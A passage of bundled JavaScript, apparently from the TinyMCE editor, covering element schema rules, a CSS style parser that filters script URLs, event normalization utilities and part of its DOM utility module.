        const attrRuleRegExp = /^([!\-])?(\w+[\\:]:\w+|[^=~<]+)?(?:([=~<])(.*))?$/;
        const hasPatternsRegExp = /[*?+]/;
        if (validElements) {
          const validElementsArr = split$1(validElements, ',');
          let globalAttributes;
          let globalAttributesOrder;
          if (elements['@']) {
            globalAttributes = elements['@'].attributes;
            globalAttributesOrder = elements['@'].attributesOrder;
          }
          for (let ei = 0, el = validElementsArr.length; ei < el; ei++) {
            let matches = elementRuleRegExp.exec(validElementsArr[ei]);
            if (matches) {
              const prefix = matches[1];
              const elementName = matches[2];
              const outputName = matches[3];
              const attrData = matches[5];
              const attributes = {};
              const attributesOrder = [];
              const element = {
                attributes,
                attributesOrder
              };
              if (prefix === '#') {
                element.paddEmpty = true;
              }
              if (prefix === '-') {
                element.removeEmpty = true;
              }
              if (matches[4] === '!') {
                element.removeEmptyAttrs = true;
              }
              if (globalAttributes) {
                each$d(globalAttributes, (value, key) => {
                  attributes[key] = value;
                });
                if (globalAttributesOrder) {
                  attributesOrder.push(...globalAttributesOrder);
                }
              }
              if (attrData) {
                const attrDatas = split$1(attrData, '|');
                for (let ai = 0, al = attrDatas.length; ai < al; ai++) {
                  matches = attrRuleRegExp.exec(attrDatas[ai]);
                  if (matches) {
                    const attr = {};
                    const attrType = matches[1];
                    const attrName = matches[2].replace(/[\\:]:/g, ':');
                    const attrPrefix = matches[3];
                    const value = matches[4];
                    if (attrType === '!') {
                      element.attributesRequired = element.attributesRequired || [];
                      element.attributesRequired.push(attrName);
                      attr.required = true;
                    }
                    if (attrType === '-') {
                      delete attributes[attrName];
                      attributesOrder.splice(inArray(attributesOrder, attrName), 1);
                      continue;
                    }
                    if (attrPrefix) {
                      if (attrPrefix === '=') {
                        element.attributesDefault = element.attributesDefault || [];
                        element.attributesDefault.push({
                          name: attrName,
                          value
                        });
                        attr.defaultValue = value;
                      }
                      if (attrPrefix === '~') {
                        element.attributesForced = element.attributesForced || [];
                        element.attributesForced.push({
                          name: attrName,
                          value
                        });
                        attr.forcedValue = value;
                      }
                      if (attrPrefix === '<') {
                        attr.validValues = makeMap$2(value, '?');
                      }
                    }
                    if (hasPatternsRegExp.test(attrName)) {
                      const attrPattern = attr;
                      element.attributePatterns = element.attributePatterns || [];
                      attrPattern.pattern = patternToRegExp(attrName);
                      element.attributePatterns.push(attrPattern);
                    } else {
                      if (!attributes[attrName]) {
                        attributesOrder.push(attrName);
                      }
                      attributes[attrName] = attr;
                    }
                  }
                }
              }
              if (!globalAttributes && elementName === '@') {
                globalAttributes = attributes;
                globalAttributesOrder = attributesOrder;
              }
              if (outputName) {
                element.outputName = elementName;
                elements[outputName] = element;
              }
              if (hasPatternsRegExp.test(elementName)) {
                const patternElement = element;
                patternElement.pattern = patternToRegExp(elementName);
                patternElements.push(patternElement);
              } else {
                elements[elementName] = element;
              }
            }
          }
        }
      };
      const setValidElements = validElements => {
        patternElements = [];
        each$e(keys(elements), name => {
          delete elements[name];
        });
        addValidElements(validElements);
        each$b(schemaItems, (element, name) => {
          children[name] = element.children;
        });
      };
      const addCustomElements = customElements => {
        const customElementRegExp = /^(~)?(.+)$/;
        if (customElements) {
          delete mapCache.text_block_elements;
          delete mapCache.block_elements;
          each$b(split$1(customElements, ','), rule => {
            const matches = customElementRegExp.exec(rule);
            if (matches) {
              const inline = matches[1] === '~';
              const cloneName = inline ? 'span' : 'div';
              const name = matches[2];
              children[name] = children[cloneName];
              customElementsMap[name] = cloneName;
              nonEmptyElementsMap[name.toUpperCase()] = {};
              nonEmptyElementsMap[name] = {};
              if (!inline) {
                blockElementsMap[name.toUpperCase()] = {};
                blockElementsMap[name] = {};
              }
              if (!elements[name]) {
                let customRule = elements[cloneName];
                customRule = extend$2({}, customRule);
                delete customRule.removeEmptyAttrs;
                delete customRule.removeEmpty;
                elements[name] = customRule;
              }
              each$b(children, (element, elmName) => {
                if (element[cloneName]) {
                  children[elmName] = element = extend$2({}, children[elmName]);
                  element[name] = element[cloneName];
                }
              });
            }
          });
        }
      };
      const addValidChildren = validChildren => {
        const childRuleRegExp = /^([+\-]?)([A-Za-z0-9_\-.\u00b7\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u037d\u037f-\u1fff\u200c-\u200d\u203f-\u2040\u2070-\u218f\u2c00-\u2fef\u3001-\ud7ff\uf900-\ufdcf\ufdf0-\ufffd]+)\[([^\]]+)]$/;
        delete lookupCache[schemaType];
        if (validChildren) {
          each$b(split$1(validChildren, ','), rule => {
            const matches = childRuleRegExp.exec(rule);
            if (matches) {
              const prefix = matches[1];
              let parent;
              if (prefix) {
                parent = children[matches[2]];
              } else {
                parent = children[matches[2]] = { '#comment': {} };
              }
              parent = children[matches[2]];
              each$b(split$1(matches[3], '|'), child => {
                if (prefix === '-') {
                  delete parent[child];
                } else {
                  parent[child] = {};
                }
              });
            }
          });
        }
      };
      const getElementRule = name => {
        const element = elements[name];
        if (element) {
          return element;
        }
        let i = patternElements.length;
        while (i--) {
          const patternElement = patternElements[i];
          if (patternElement.pattern.test(name)) {
            return patternElement;
          }
        }
        return undefined;
      };
      if (!settings.valid_elements) {
        each$b(schemaItems, (element, name) => {
          elements[name] = {
            attributes: element.attributes,
            attributesOrder: element.attributesOrder
          };
          children[name] = element.children;
        });
        each$b(split$1('strong/b em/i'), item => {
          const items = split$1(item, '/');
          elements[items[1]].outputName = items[0];
        });
        each$b(textInlineElementsMap, (_val, name) => {
          if (elements[name]) {
            if (settings.padd_empty_block_inline_children) {
              elements[name].paddInEmptyBlock = true;
            }
            elements[name].removeEmpty = true;
          }
        });
        each$b(split$1('ol ul blockquote a table tbody'), name => {
          if (elements[name]) {
            elements[name].removeEmpty = true;
          }
        });
        each$b(split$1('p h1 h2 h3 h4 h5 h6 th td pre div address caption li'), name => {
          elements[name].paddEmpty = true;
        });
        each$b(split$1('span'), name => {
          elements[name].removeEmptyAttrs = true;
        });
      } else {
        setValidElements(settings.valid_elements);
      }
      addCustomElements(settings.custom_elements);
      addValidChildren(settings.valid_children);
      addValidElements(settings.extended_valid_elements);
      addValidChildren('+ol[ul|ol],+ul[ul|ol]');
      each$b({
        dd: 'dl',
        dt: 'dl',
        li: 'ul ol',
        td: 'tr',
        th: 'tr',
        tr: 'tbody thead tfoot',
        tbody: 'table',
        thead: 'table',
        tfoot: 'table',
        legend: 'fieldset',
        area: 'map',
        param: 'video audio object'
      }, (parents, item) => {
        if (elements[item]) {
          elements[item].parentsRequired = split$1(parents);
        }
      });
      if (settings.invalid_elements) {
        each$b(explode$2(settings.invalid_elements), item => {
          if (elements[item]) {
            delete elements[item];
          }
        });
      }
      if (!getElementRule('span')) {
        addValidElements('span[!data-mce-type|*]');
      }
      const getValidStyles = constant(validStyles);
      const getInvalidStyles = constant(invalidStyles);
      const getValidClasses = constant(validClasses);
      const getBoolAttrs = constant(boolAttrMap);
      const getBlockElements = constant(blockElementsMap);
      const getTextBlockElements = constant(textBlockElementsMap);
      const getTextInlineElements = constant(textInlineElementsMap);
      const getVoidElements = constant(Object.seal(voidElementsMap));
      const getSelfClosingElements = constant(selfClosingElementsMap);
      const getNonEmptyElements = constant(nonEmptyElementsMap);
      const getMoveCaretBeforeOnEnterElements = constant(moveCaretBeforeOnEnterElementsMap);
      const getWhitespaceElements = constant(whitespaceElementsMap);
      const getTransparentElements = constant(transparentElementsMap);
      const getSpecialElements = constant(Object.seal(specialElements));
      const isValidChild = (name, child) => {
        const parent = children[name.toLowerCase()];
        return !!(parent && parent[child.toLowerCase()]);
      };
      const isValid = (name, attr) => {
        const rule = getElementRule(name);
        if (rule) {
          if (attr) {
            if (rule.attributes[attr]) {
              return true;
            }
            const attrPatterns = rule.attributePatterns;
            if (attrPatterns) {
              let i = attrPatterns.length;
              while (i--) {
                if (attrPatterns[i].pattern.test(attr)) {
                  return true;
                }
              }
            }
          } else {
            return true;
          }
        }
        return false;
      };
      const getCustomElements = constant(customElementsMap);
      return {
        type: schemaType,
        children,
        elements,
        getValidStyles,
        getValidClasses,
        getBlockElements,
        getInvalidStyles,
        getVoidElements,
        getTextBlockElements,
        getTextInlineElements,
        getBoolAttrs,
        getElementRule,
        getSelfClosingElements,
        getNonEmptyElements,
        getMoveCaretBeforeOnEnterElements,
        getWhitespaceElements,
        getTransparentElements,
        getSpecialElements,
        isValidChild,
        isValid,
        getCustomElements,
        addValidElements,
        setValidElements,
        addCustomElements,
        addValidChildren
      };
    };

    const Styles = (settings = {}, schema) => {
      const urlOrStrRegExp = /(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi;
      const styleRegExp = /\s*([^:]+):\s*([^;]+);?/g;
      const trimRightRegExp = /\s+$/;
      const encodingLookup = {};
      let validStyles;
      let invalidStyles;
      const invisibleChar = zeroWidth;
      if (schema) {
        validStyles = schema.getValidStyles();
        invalidStyles = schema.getInvalidStyles();
      }
      const encodingItems = (`\\" \\' \\; \\: ; : ` + invisibleChar).split(' ');
      for (let i = 0; i < encodingItems.length; i++) {
        encodingLookup[encodingItems[i]] = invisibleChar + i;
        encodingLookup[invisibleChar + i] = encodingItems[i];
      }
      const self = {
        parse: css => {
          const styles = {};
          let isEncoded = false;
          const urlConverter = settings.url_converter;
          const urlConverterScope = settings.url_converter_scope || self;
          const compress = (prefix, suffix, noJoin) => {
            const top = styles[prefix + '-top' + suffix];
            if (!top) {
              return;
            }
            const right = styles[prefix + '-right' + suffix];
            if (!right) {
              return;
            }
            const bottom = styles[prefix + '-bottom' + suffix];
            if (!bottom) {
              return;
            }
            const left = styles[prefix + '-left' + suffix];
            if (!left) {
              return;
            }
            const box = [
              top,
              right,
              bottom,
              left
            ];
            let i = box.length - 1;
            while (i--) {
              if (box[i] !== box[i + 1]) {
                break;
              }
            }
            if (i > -1 && noJoin) {
              return;
            }
            styles[prefix + suffix] = i === -1 ? box[0] : box.join(' ');
            delete styles[prefix + '-top' + suffix];
            delete styles[prefix + '-right' + suffix];
            delete styles[prefix + '-bottom' + suffix];
            delete styles[prefix + '-left' + suffix];
          };
          const canCompress = key => {
            const value = styles[key];
            if (!value) {
              return;
            }
            const values = value.split(' ');
            let i = values.length;
            while (i--) {
              if (values[i] !== values[0]) {
                return false;
              }
            }
            styles[key] = values[0];
            return true;
          };
          const compress2 = (target, a, b, c) => {
            if (!canCompress(a)) {
              return;
            }
            if (!canCompress(b)) {
              return;
            }
            if (!canCompress(c)) {
              return;
            }
            styles[target] = styles[a] + ' ' + styles[b] + ' ' + styles[c];
            delete styles[a];
            delete styles[b];
            delete styles[c];
          };
          const encode = str => {
            isEncoded = true;
            return encodingLookup[str];
          };
          const decode = (str, keepSlashes) => {
            if (isEncoded) {
              str = str.replace(/\uFEFF[0-9]/g, str => {
                return encodingLookup[str];
              });
            }
            if (!keepSlashes) {
              str = str.replace(/\\([\'\";:])/g, '$1');
            }
            return str;
          };
          const decodeSingleHexSequence = escSeq => {
            return String.fromCharCode(parseInt(escSeq.slice(1), 16));
          };
          const decodeHexSequences = value => {
            return value.replace(/\\[0-9a-f]+/gi, decodeSingleHexSequence);
          };
          const processUrl = (match, url, url2, url3, str, str2) => {
            str = str || str2;
            if (str) {
              str = decode(str);
              return `'` + str.replace(/\'/g, `\\'`) + `'`;
            }
            url = decode(url || url2 || url3 || '');
            if (!settings.allow_script_urls) {
              const scriptUrl = url.replace(/[\s\r\n]+/g, '');
              if (/(java|vb)script:/i.test(scriptUrl)) {
                return '';
              }
              if (!settings.allow_svg_data_urls && /^data:image\/svg/i.test(scriptUrl)) {
                return '';
              }
            }
            if (urlConverter) {
              url = urlConverter.call(urlConverterScope, url, 'style');
            }
            return `url('` + url.replace(/\'/g, `\\'`) + `')`;
          };
          if (css) {
            css = css.replace(/[\u0000-\u001F]/g, '');
            css = css.replace(/\\[\"\';:\uFEFF]/g, encode).replace(/\"[^\"]+\"|\'[^\']+\'/g, str => {
              return str.replace(/[;:]/g, encode);
            });
            let matches;
            while (matches = styleRegExp.exec(css)) {
              styleRegExp.lastIndex = matches.index + matches[0].length;
              let name = matches[1].replace(trimRightRegExp, '').toLowerCase();
              let value = matches[2].replace(trimRightRegExp, '');
              if (name && value) {
                name = decodeHexSequences(name);
                value = decodeHexSequences(value);
                if (name.indexOf(invisibleChar) !== -1 || name.indexOf('"') !== -1) {
                  continue;
                }
                if (!settings.allow_script_urls && (name === 'behavior' || /expression\s*\(|\/\*|\*\//.test(value))) {
                  continue;
                }
                if (name === 'font-weight' && value === '700') {
                  value = 'bold';
                } else if (name === 'color' || name === 'background-color') {
                  value = value.toLowerCase();
                }
                value = value.replace(urlOrStrRegExp, processUrl);
                styles[name] = isEncoded ? decode(value, true) : value;
              }
            }
            compress('border', '', true);
            compress('border', '-width');
            compress('border', '-color');
            compress('border', '-style');
            compress('padding', '');
            compress('margin', '');
            compress2('border', 'border-width', 'border-style', 'border-color');
            if (styles.border === 'medium none') {
              delete styles.border;
            }
            if (styles['border-image'] === 'none') {
              delete styles['border-image'];
            }
          }
          return styles;
        },
        serialize: (styles, elementName) => {
          let css = '';
          const serializeStyles = (elemName, validStyleList) => {
            const styleList = validStyleList[elemName];
            if (styleList) {
              for (let i = 0, l = styleList.length; i < l; i++) {
                const name = styleList[i];
                const value = styles[name];
                if (value) {
                  css += (css.length > 0 ? ' ' : '') + name + ': ' + value + ';';
                }
              }
            }
          };
          const isValid = (name, elemName) => {
            if (!invalidStyles || !elemName) {
              return true;
            }
            let styleMap = invalidStyles['*'];
            if (styleMap && styleMap[name]) {
              return false;
            }
            styleMap = invalidStyles[elemName];
            return !(styleMap && styleMap[name]);
          };
          if (elementName && validStyles) {
            serializeStyles('*', validStyles);
            serializeStyles(elementName, validStyles);
          } else {
            each$d(styles, (value, name) => {
              if (value && isValid(name, elementName)) {
                css += (css.length > 0 ? ' ' : '') + name + ': ' + value + ';';
              }
            });
          }
          return css;
        }
      };
      return self;
    };

    const deprecated = {
      keyLocation: true,
      layerX: true,
      layerY: true,
      returnValue: true,
      webkitMovementX: true,
      webkitMovementY: true,
      keyIdentifier: true,
      mozPressure: true
    };
    const isNativeEvent = event => event instanceof Event || isFunction(event.initEvent);
    const hasIsDefaultPrevented = event => event.isDefaultPrevented === always || event.isDefaultPrevented === never;
    const needsNormalizing = event => isNullable(event.preventDefault) || isNativeEvent(event);
    const clone$3 = (originalEvent, data) => {
      const event = data !== null && data !== void 0 ? data : {};
      for (const name in originalEvent) {
        if (!has$2(deprecated, name)) {
          event[name] = originalEvent[name];
        }
      }
      if (isNonNullable(originalEvent.composedPath)) {
        event.composedPath = () => originalEvent.composedPath();
      }
      return event;
    };
    const normalize$3 = (type, originalEvent, fallbackTarget, data) => {
      var _a;
      const event = clone$3(originalEvent, data);
      event.type = type;
      if (isNullable(event.target)) {
        event.target = (_a = event.srcElement) !== null && _a !== void 0 ? _a : fallbackTarget;
      }
      if (needsNormalizing(originalEvent)) {
        event.preventDefault = () => {
          event.defaultPrevented = true;
          event.isDefaultPrevented = always;
          if (isFunction(originalEvent.preventDefault)) {
            originalEvent.preventDefault();
          }
        };
        event.stopPropagation = () => {
          event.cancelBubble = true;
          event.isPropagationStopped = always;
          if (isFunction(originalEvent.stopPropagation)) {
            originalEvent.stopPropagation();
          }
        };
        event.stopImmediatePropagation = () => {
          event.isImmediatePropagationStopped = always;
          event.stopPropagation();
        };
        if (!hasIsDefaultPrevented(event)) {
          event.isDefaultPrevented = event.defaultPrevented === true ? always : never;
          event.isPropagationStopped = event.cancelBubble === true ? always : never;
          event.isImmediatePropagationStopped = never;
        }
      }
      return event;
    };

    const eventExpandoPrefix = 'mce-data-';
    const mouseEventRe = /^(?:mouse|contextmenu)|click/;
    const addEvent = (target, name, callback, capture) => {
      target.addEventListener(name, callback, capture || false);
    };
    const removeEvent = (target, name, callback, capture) => {
      target.removeEventListener(name, callback, capture || false);
    };
    const isMouseEvent = event => isNonNullable(event) && mouseEventRe.test(event.type);
    const fix = (originalEvent, data) => {
      const event = normalize$3(originalEvent.type, originalEvent, document, data);
      if (isMouseEvent(originalEvent) && isUndefined(originalEvent.pageX) && !isUndefined(originalEvent.clientX)) {
        const eventDoc = event.target.ownerDocument || document;
        const doc = eventDoc.documentElement;
        const body = eventDoc.body;
        const mouseEvent = event;
        mouseEvent.pageX = originalEvent.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
        mouseEvent.pageY = originalEvent.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0);
      }
      return event;
    };
    const bindOnReady = (win, callback, eventUtils) => {
      const doc = win.document, event = { type: 'ready' };
      if (eventUtils.domLoaded) {
        callback(event);
        return;
      }
      const isDocReady = () => {
        return doc.readyState === 'complete' || doc.readyState === 'interactive' && doc.body;
      };
      const readyHandler = () => {
        removeEvent(win, 'DOMContentLoaded', readyHandler);
        removeEvent(win, 'load', readyHandler);
        if (!eventUtils.domLoaded) {
          eventUtils.domLoaded = true;
          callback(event);
        }
        win = null;
      };
      if (isDocReady()) {
        readyHandler();
      } else {
        addEvent(win, 'DOMContentLoaded', readyHandler);
      }
      if (!eventUtils.domLoaded) {
        addEvent(win, 'load', readyHandler);
      }
    };
    class EventUtils {
      constructor() {
        this.domLoaded = false;
        this.events = {};
        this.count = 1;
        this.expando = eventExpandoPrefix + (+new Date()).toString(32);
        this.hasFocusIn = 'onfocusin' in document.documentElement;
        this.count = 1;
      }
      bind(target, names, callback, scope) {
        const self = this;
        let callbackList;
        const win = window;
        const defaultNativeHandler = evt => {
          self.executeHandlers(fix(evt || win.event), id);
        };
        if (!target || isText$a(target) || isComment(target)) {
          return callback;
        }
        let id;
        if (!target[self.expando]) {
          id = self.count++;
          target[self.expando] = id;
          self.events[id] = {};
        } else {
          id = target[self.expando];
        }
        scope = scope || target;
        const namesList = names.split(' ');
        let i = namesList.length;
        while (i--) {
          let name = namesList[i];
          let nativeHandler = defaultNativeHandler;
          let capture = false;
          let fakeName = false;
          if (name === 'DOMContentLoaded') {
            name = 'ready';
          }
          if (self.domLoaded && name === 'ready' && target.readyState === 'complete') {
            callback.call(scope, fix({ type: name }));
            continue;
          }
          if (!self.hasFocusIn && (name === 'focusin' || name === 'focusout')) {
            capture = true;
            fakeName = name === 'focusin' ? 'focus' : 'blur';
            nativeHandler = evt => {
              const event = fix(evt || win.event);
              event.type = event.type === 'focus' ? 'focusin' : 'focusout';
              self.executeHandlers(event, id);
            };
          }
          callbackList = self.events[id][name];
          if (!callbackList) {
            self.events[id][name] = callbackList = [{
                func: callback,
                scope
              }];
            callbackList.fakeName = fakeName;
            callbackList.capture = capture;
            callbackList.nativeHandler = nativeHandler;
            if (name === 'ready') {
              bindOnReady(target, nativeHandler, self);
            } else {
              addEvent(target, fakeName || name, nativeHandler, capture);
            }
          } else {
            if (name === 'ready' && self.domLoaded) {
              callback(fix({ type: name }));
            } else {
              callbackList.push({
                func: callback,
                scope
              });
            }
          }
        }
        target = callbackList = null;
        return callback;
      }
      unbind(target, names, callback) {
        if (!target || isText$a(target) || isComment(target)) {
          return this;
        }
        const id = target[this.expando];
        if (id) {
          let eventMap = this.events[id];
          if (names) {
            const namesList = names.split(' ');
            let i = namesList.length;
            while (i--) {
              const name = namesList[i];
              const callbackList = eventMap[name];
              if (callbackList) {
                if (callback) {
                  let ci = callbackList.length;
                  while (ci--) {
                    if (callbackList[ci].func === callback) {
                      const nativeHandler = callbackList.nativeHandler;
                      const fakeName = callbackList.fakeName, capture = callbackList.capture;
                      const newCallbackList = callbackList.slice(0, ci).concat(callbackList.slice(ci + 1));
                      newCallbackList.nativeHandler = nativeHandler;
                      newCallbackList.fakeName = fakeName;
                      newCallbackList.capture = capture;
                      eventMap[name] = newCallbackList;
                    }
                  }
                }
                if (!callback || callbackList.length === 0) {
                  delete eventMap[name];
                  removeEvent(target, callbackList.fakeName || name, callbackList.nativeHandler, callbackList.capture);
                }
              }
            }
          } else {
            each$d(eventMap, (callbackList, name) => {
              removeEvent(target, callbackList.fakeName || name, callbackList.nativeHandler, callbackList.capture);
            });
            eventMap = {};
          }
          for (const name in eventMap) {
            if (has$2(eventMap, name)) {
              return this;
            }
          }
          delete this.events[id];
          try {
            delete target[this.expando];
          } catch (ex) {
            target[this.expando] = null;
          }
        }
        return this;
      }
      fire(target, name, args) {
        return this.dispatch(target, name, args);
      }
      dispatch(target, name, args) {
        if (!target || isText$a(target) || isComment(target)) {
          return this;
        }
        const event = fix({
          type: name,
          target
        }, args);
        do {
          const id = target[this.expando];
          if (id) {
            this.executeHandlers(event, id);
          }
          target = target.parentNode || target.ownerDocument || target.defaultView || target.parentWindow;
        } while (target && !event.isPropagationStopped());
        return this;
      }
      clean(target) {
        if (!target || isText$a(target) || isComment(target)) {
          return this;
        }
        if (target[this.expando]) {
          this.unbind(target);
        }
        if (!target.getElementsByTagName) {
          target = target.document;
        }
        if (target && target.getElementsByTagName) {
          this.unbind(target);
          const children = target.getElementsByTagName('*');
          let i = children.length;
          while (i--) {
            target = children[i];
            if (target[this.expando]) {
              this.unbind(target);
            }
          }
        }
        return this;
      }
      destroy() {
        this.events = {};
      }
      cancel(e) {
        if (e) {
          e.preventDefault();
          e.stopImmediatePropagation();
        }
        return false;
      }
      executeHandlers(evt, id) {
        const container = this.events[id];
        const callbackList = container && container[evt.type];
        if (callbackList) {
          for (let i = 0, l = callbackList.length; i < l; i++) {
            const callback = callbackList[i];
            if (callback && callback.func.call(callback.scope, evt) === false) {
              evt.preventDefault();
            }
            if (evt.isImmediatePropagationStopped()) {
              return;
            }
          }
        }
      }
    }
    EventUtils.Event = new EventUtils();

    const each$a = Tools.each;
    const grep = Tools.grep;
    const internalStyleName = 'data-mce-style';
    const numericalCssMap = Tools.makeMap('fill-opacity font-weight line-height opacity orphans widows z-index zoom', ' ');
    const legacySetAttribute = (elm, name, value) => {
      if (isNullable(value) || value === '') {
        remove$b(elm, name);
      } else {
        set$2(elm, name, value);
      }
    };
    const camelCaseToHyphens = name => name.replace(/[A-Z]/g, v => '-' + v.toLowerCase());
    const findNodeIndex = (node, normalized) => {
      let idx = 0;
      if (node) {
        for (let lastNodeType = node.nodeType, tempNode = node.previousSibling; tempNode; tempNode = tempNode.previousSibling) {
          const nodeType = tempNode.nodeType;
          if (normalized && isText$a(tempNode)) {
            if (nodeType === lastNodeType || !tempNode.data.length) {
              continue;
            }
          }
          idx++;
          lastNodeType = nodeType;
        }
      }
      return idx;
    };
    const updateInternalStyleAttr = (styles, elm) => {
      const rawValue = get$9(elm, 'style');
      const value = styles.serialize(styles.parse(rawValue), name(elm));
      legacySetAttribute(elm, internalStyleName, value);
    };
    const convertStyleToString = (cssValue, cssName) => {
      if (isNumber(cssValue)) {
        return has$2(numericalCssMap, cssName) ? cssValue + '' : cssValue + 'px';
      } else {
        return cssValue;
      }
    };
    const applyStyle$1 = ($elm, cssName, cssValue) => {
      const normalizedName = camelCaseToHyphens(cssName);
      if (isNullable(cssValue) || cssValue === '') {
        remove$7($elm, normalizedName);
      } else {
        set$1($elm, normalizedName, convertStyleToString(cssValue, normalizedName));
      }
    };
    const setupAttrHooks = (styles, settings, getContext) => {
      const keepValues = settings.keep_values;
      const keepUrlHook = {
        set: (elm, value, name) => {
          const sugarElm = SugarElement.fromDom(elm);
          if (isFunction(settings.url_converter) && isNonNullable(value)) {
            value = settings.url_converter.call(settings.url_converter_scope || getContext(), String(value), name, elm);
          }
          const internalName = 'data-mce-' + name;
          legacySetAttribute(sugarElm, internalName, value);
          legacySetAttribute(sugarElm, name, value);
        },
        get: (elm, name) => {
          const sugarElm = SugarElement.fromDom(elm);
          return get$9(sugarElm, 'data-mce-' + name) || get$9(sugarElm, name);
        }
      };
      const attrHooks = {
        style: {
          set: (elm, value) => {
            const sugarElm = SugarElement.fromDom(elm);
            if (keepValues) {
              legacySetAttribute(sugarElm, internalStyleName, value);
            }
            remove$b(sugarElm, 'style');
            if (isString(value)) {
              setAll(sugarElm, styles.parse(value));
            }
          },
          get: elm => {
            const sugarElm = SugarElement.fromDom(elm);
            const value = get$9(sugarElm, internalStyleName) || get$9(sugarElm, 'style');
            return styles.serialize(styles.parse(value), name(sugarElm));
          }
        }
      };
      if (keepValues) {
        attrHooks.href = attrHooks.src = keepUrlHook;
      }
      return attrHooks;
    };
    const DOMUtils = (doc, settings = {}) => {
      const addedStyles = {};
      const win = window;
      const files = {};
      let counter = 0;
      const stdMode = true;
      const boxModel = true;
      const styleSheetLoader = instance.forElement(SugarElement.fromDom(doc), {
        contentCssCors: settings.contentCssCors,
        referrerPolicy: settings.referrerPolicy
      });
      const boundEvents = [];
      const schema = settings.schema ? settings.schema : Schema({});
      const styles = Styles({
        url_converter: settings.url_converter,
        url_converter_scope: settings.url_converter_scope
      }, settings.schema);
      const events = settings.ownEvents ? new EventUtils() : EventUtils.Event;
      const blockElementsMap = schema.getBlockElements();
      const isBlock = node => {
        if (isString(node)) {
          return has$2(blockElementsMap, node);
        } else {
          return isElement$6(node) && (has$2(blockElementsMap, node.nodeName) || isTransparentBlock(schema, node));
        }
      };
      const get = elm => elm && doc && isString(elm) ? doc.getElementById(elm) : elm;
      const _get = elm => {
        const value = get(elm);
        return isNonNullable(value) ? SugarElement.fromDom(value) : null;
      };
      const getAttrib = (elm, name, defaultVal = '') => {
        let value;
        const $elm = _get(elm);
        if (isNonNullable($elm) && isElement$7($elm)) {
          const hook = attrHooks[name];
          if (hook && hook.get) {
            value = hook.get($elm.dom, name);
          } else {
            value = get$9($elm, name);
          }
        }
        return isNonNullable(value) ? value : defaultVal;
      };
      const getAttribs = elm => {
        const node = get(elm);
        return isNullable(node) ? [] : node.attributes;
      };
      const setAttrib = (elm, name, value) => {
        run(elm, e => {
          if (isElement$6(e)) {
            const $elm = SugarElement.fromDom(e);
            const val = value === '' ? null : value;
            const originalValue = get$9($elm, name);
            const hook = attrHooks[name];
            if (hook && hook.set) {
              hook.set($elm.dom, val, name);
            } else {
              legacySetAttribute($elm, name, val);
            }
            if (originalValue !== val && settings.onSetAttrib) {
              settings.onSetAttrib({
                attrElm: $elm.dom,
                attrName: name,
                attrValue: val
              });
            }
          }
        });
      };
      const clone = (node, deep) => {
        return node.cloneNode(deep);
      };
      const getRoot = () => settings.root_element || doc.body;
      const getViewPort = argWin => {
        const vp = getBounds(argWin);
        return {
          x: vp.x,
          y: vp.y,
          w: vp.width,
          h: vp.height
        };
      };
      const getPos$1 = (elm, rootElm) => getPos(doc.body, get(elm), rootElm);
      const setStyle = (elm, name, value) => {
        run(elm, e => {
          const $elm = SugarElement.fromDom(e);
          applyStyle$1($elm, name, value);
          if (settings.update_styles) {
            updateInternalStyleAttr(styles, $elm);
          }
        });
      };
      const setStyles = (elm, stylesArg) => {
        run(elm, e => {
          const $elm = SugarElement.fromDom(e);
          each$d(stylesArg, (v, n) => {
            applyStyle$1($elm, n, v);
          });
          if (settings.update_styles) {
            updateInternalStyleAttr(styles, $elm);
          }
        });
      };
      const getStyle = (elm, name, computed) => {
        const $elm = get(elm);
        if (isNullable($elm) || !isElement$6($elm)) {
          return undefined;
        }
        if (computed) {
          return get$7(SugarElement.fromDom($elm), camelCaseToHyphens(name));
        } else {
          name = name.replace(/-(\D)/g, (a, b) => b.toUpperCase());
          if (name === 'float') {
            name = 'cssFloat';
          }
          return $elm.style ? $elm.style[name] : undefined;
        }
      };
      const getSize = elm => {
        const $elm = get(elm);
        if (!$elm) {
          return {
            w: 0,
            h: 0
          };
        }
        let w = getStyle($elm, 'width');
        let h = getStyle($elm, 'height');
        if (!w || w.indexOf('px') === -1) {
          w = '0';
        }
        if (!h || h.indexOf('px') === -1) {
          h = '0';
        }
        return {
          w: parseInt(w, 10) || $elm.offsetWidth || $elm.clientWidth,
          h: parseInt(h, 10) || $elm.offsetHeight || $elm.clientHeight
        };
      };
      const getRect = elm => {
        const $elm = get(elm);
        const pos = getPos$1($elm);
        const size = getSize($elm);
        return {
          x: pos.x,
          y: pos.y,
          w: size.w,
          h: size.h
        };
      };
      const is = (elm, selector) => {
        if (!elm) {
          return false;
        }
        const elms = isArray$1(elm) ? elm : [elm];
        return exists(elms, e => {
          return is$1(SugarElement.fromDom(e), selector);
        });
      };
      const getParents = (elm, selector, root, collect) => {
        const result = [];
        let node = get(elm);
        collect = collect === undefined;
        const resolvedRoot = root || (getRoot().nodeName !== 'BODY' ? getRoot().parentNode : null);
        if (isString(selector)) {
          if (selector === '*') {
            selector = isElement$6;
          } else {
            const selectorVal = selector;
            selector = node => is(node, selectorVal);
          }
        }
        while (node) {
          if (node === resolvedRoot || isNullable(node.nodeType) || isDocument$1(node) || isDocumentFragment(node)) {
            break;
          }
          if (!selector || selector(node)) {
            if (collect) {
              result.push(node);
            } else {
              return [node];
            }
          }
          node = node.parentNode;
        }
        return collect ? result : null;
      };
      const getParent = (node, selector, root) => {
        const parents = getParents(node, selector, root, false);
        return parents && parents.length > 0 ? parents[0] : null;
      };
      const _findSib = (node, selector, name) => {
        let func = selector;
        if (node) {
          if (isString(selector)) {
            func = node => {
              return is(node, selector);
            };
          }
          for (let tempNode = node[name]; tempNode; tempNode = tempNode[name]) {
            if (isFunction(func) && func(tempNode)) {
              return tempNode;
            }
          }
        }
        return null;
      };
      const getNext = (node, selector) => _findSib(node, selector, 'nextSibling');
      const getPrev = (node, selector) => _findSib(node, selector, 'previousSibling');
      const isParentNode = node => isFunction(node.querySelectorAll);
      const select = (selector, scope) => {
        var _a, _b;
        const elm = (_b = (_a = get(scope)) !== null && _a !== void 0 ? _a : settings.root_element) !== null && _b !== void 0 ? _b : doc;
